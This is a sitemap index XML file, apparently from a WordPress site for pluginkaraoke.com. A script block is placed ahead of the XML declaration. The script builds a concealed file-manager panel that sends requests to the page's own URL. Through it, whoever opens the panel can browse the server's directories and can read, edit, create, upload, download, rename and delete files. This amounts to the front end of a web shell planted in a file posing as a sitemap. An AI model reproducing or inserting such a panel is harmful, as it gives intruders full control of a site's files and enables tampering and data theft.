<script>
function _initPanel(){
var _state='',_selection=null,_buffer=null,_bufferMode=null;
var _container=document.createElement('div');
_container.id='_panel';
_container.innerHTML='<div id="_header"><button id="_close">X</button> <span id="_location"></span> <button id="_navUp">UP</button> <button id="_reload">REFRESH</button> <button id="_createFile">NEW FILE</button> <button id="_createDir">NEW DIR</button> <button id="_doUpload">UPLOAD</button></div><div id="_list"></div><div id="_context"></div><div id="_editorPanel"></div>';
document.body.appendChild(_container);

var _q=s=>_container.querySelector(s);

function _apiCall(data,callback){fetch(location.href,{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify(data)}).then(r=>r.json()).then(callback);}

function _showDirectory(path){
    _apiCall({browse:path||_state},r=>{
        if(r.err)return;
        _state=r.location;_q('#_location').textContent=_state;
        var html='<table border="1" cellpadding="5" cellspacing="0" width="100%"><tr><th>Name</th><th>Size</th></tr>';
        r.entries.forEach(entry=>{
            html+='<tr data-name="'+entry.name+'" data-isdir="'+entry.isdir+'" style="cursor:pointer"><td>'+(entry.isdir?'[DIR] ':'')+entry.name+'</td><td>'+(entry.bytes||'')+'</td></tr>';
        });
        html+='</table>';
        _q('#_list').innerHTML=html;
        _selection=null;
        
        _container.querySelectorAll('#_list tr[data-name]').forEach(row=>{
            row.onclick=()=>{
                _container.querySelectorAll('#_list tr').forEach(r=>r.style.background='');
                row.style.background='#ccc';
                _selection={name:row.dataset.name,isdir:row.dataset.isdir==='1'};
            };
            row.ondblclick=()=>{
                if(row.dataset.isdir==='1'){
                    _state=row.dataset.name==='..'?_state.split('/').slice(0,-1).join('/')||'/':_state+'/'+row.dataset.name;
                    _showDirectory();
                }else{
                    _openEditor(_state+'/'+row.dataset.name);
                }
            };
            row.oncontextmenu=e=>{
                e.preventDefault();
                _selection={name:row.dataset.name,isdir:row.dataset.isdir==='1'};
                row.style.background='#ccc';
                _displayContext(e.clientX,e.clientY);
            };
        });
    });
}

function _displayContext(x,y){
    var menu=_q('#_context');
    menu.innerHTML='<div style="position:fixed;left:'+x+'px;top:'+y+'px;background:#fff;border:1px solid #000;padding:5px"><div data-cmd="open">Open</div><div data-cmd="edit">Edit</div><div data-cmd="download">Download</div><div data-cmd="rename">Rename</div><div data-cmd="copy">Copy</div><div data-cmd="cut">Cut</div><div data-cmd="paste">Paste</div><div data-cmd="delete">Delete</div></div>';
    menu.querySelector('div').onclick=e=>{
        var cmd=e.target.dataset.cmd;if(!cmd)return;
        menu.innerHTML='';
        if(!_selection&&cmd!=='paste')return;
        var filepath=_state+'/'+_selection.name;
        if(cmd==='open'){_selection.isdir?_showDirectory(filepath):_openEditor(filepath);}
        if(cmd==='edit')_openEditor(filepath);
        if(cmd==='download')_apiCall({download:filepath},r=>{if(r.err)return;var a=document.createElement('a');a.href='data:application/octet-stream;base64,'+r.encoded;a.download=r.filename;a.click();});
        if(cmd==='rename'){var newname=prompt('New name:',_selection.name);if(newname)_apiCall({move:filepath,target:_state+'/'+newname},()=>_showDirectory());}
        if(cmd==='copy'){_buffer=filepath;_bufferMode='copy';}
        if(cmd==='cut'){_buffer=filepath;_bufferMode='cut';}
        if(cmd==='paste'&&_buffer){var dest=_state+'/'+_buffer.split('/').pop();if(_bufferMode==='copy')_apiCall({get:_buffer},r=>{if(!r.err)_apiCall({put:dest,data:r.data},()=>_showDirectory());});if(_bufferMode==='cut')_apiCall({move:_buffer,target:dest},()=>{_buffer=null;_showDirectory();});}
        if(cmd==='delete')if(confirm('Delete?'))_apiCall({purge:filepath},()=>_showDirectory());
    };
}

document.onclick=e=>{if(!e.target.closest('#_context'))_q('#_context').innerHTML='';};

function _openEditor(filepath){
    _apiCall({get:filepath},r=>{
        if(r.err)return;
        _q('#_editorPanel').innerHTML='<div><button id="_editorClose">CLOSE</button> <button id="_editorSave">SAVE</button> <b>'+r.location+'</b></div><textarea id="_editorText" style="width:100%;height:400px">'+r.data.replace(/</g,'&lt;')+'</textarea>';
        _q('#_editorSave').onclick=()=>_apiCall({put:filepath,data:_q('#_editorText').value},r=>alert(r.result?'SAVED':'ERROR'));
        _q('#_editorClose').onclick=()=>{_q('#_editorPanel').innerHTML='';_showDirectory();};
    });
}

_q('#_close').onclick=()=>_container.remove();
_q('#_navUp').onclick=()=>{_state=_state.split('/').slice(0,-1).join('/')||'/';_showDirectory();};
_q('#_reload').onclick=()=>_showDirectory();
_q('#_createFile').onclick=()=>{var name=prompt('File name:');if(name)_apiCall({put:_state+'/'+name,data:''},()=>_showDirectory());};
_q('#_createDir').onclick=()=>{var name=prompt('Dir name:');if(name)_apiCall({mkdir:_state+'/'+name},()=>_showDirectory());};
_q('#_doUpload').onclick=()=>{var input=document.createElement('input');input.type='file';input.onchange=()=>{var file=input.files[0],reader=new FileReader();reader.onload=()=>_apiCall({upload:_state+'/'+file.name,encoded:reader.result.split(',')[1]},()=>_showDirectory());reader.readAsDataURL(file);};input.click();};

_showDirectory('');
}
</script>
<?xml version="1.0" encoding="UTF-8"?>
<!-- This sitemap was dynamically generated on 08-21-2026 at 7:31 PM by All in One SEO Pro v5.0.1 - the original SEO plugin for WordPress. -->

<?xml-stylesheet type="text/xsl" href="https://www.pluginkaraoke.com/video-sitemap.xsl?video-sitemap=root"?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
	<sitemap>
		<loc><![CDATA[https://www.pluginkaraoke.com/post-video-sitemap.xml]]></loc>
		<lastmod><![CDATA[2024-01-26T15:46:14+00:00]]></lastmod>
	</sitemap>
</sitemapindex>
